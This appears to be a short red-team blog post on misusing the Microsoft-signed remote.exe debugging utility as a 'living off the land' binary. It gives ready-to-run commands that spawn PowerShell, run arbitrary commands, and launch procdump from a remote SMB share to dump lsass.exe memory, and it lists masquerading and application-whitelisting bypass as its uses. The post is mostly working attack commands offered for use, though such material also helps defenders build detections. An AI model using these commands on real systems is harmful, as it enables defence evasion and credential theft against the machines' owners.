mr.d0x

C:\Users\mr.d0x> whoami_

Execution and AWL Bypass Using LOLBin Remote.exe

January 07, 2021

Masquerading execution behind the Microsoft signed binary remote.exe.

If you’re not familiar with the term LOLBins by now, you’d better catch up to speed because that’s the trend for the foreseeable future. Briefly explained, “LOLBins” or “Living Off the Land Binaries” are non-malicious binaries that can be used in an unintended way to aid attackers in evading defenses. A more thorough explanation can be found here.

Remote.exe

Remote.exe is a stand-alone executable that comes with the debugging tools for Windows. Microsoft’s definition of remote.exe is as follows:

The remote.exe utility is a versatile server/client tool that allows you to run command-line programs on remote computers. This utility has a large number of uses. For example, when you are developing software, you can compile code with the processor and resources of a remote computer while you perform other tasks on your computer.

It’s a pretty impressive tool, let’s use it for our purposes now.

Using Remote.exe

To execute a file or command:

remote.exe /s "file.exe" anything

Spawn PowerShell.exe:

remote.exe /s "powershell.exe" d0x

Powershell-Spawn-Cmd

Powershell-Spawn

Execute a single command:

remote.exe /s "powerShell.exe -c whoami" mrd0x

Whoami

Execute a remote file:

remote.exe /s "\\10.0.0.187\proc\procdump64.exe -ma lsass.exe lsass.dmp" anything

Procdump

Use Cases

  • Masquerading execution under a Microsoft signed binary
  • AWL Bypass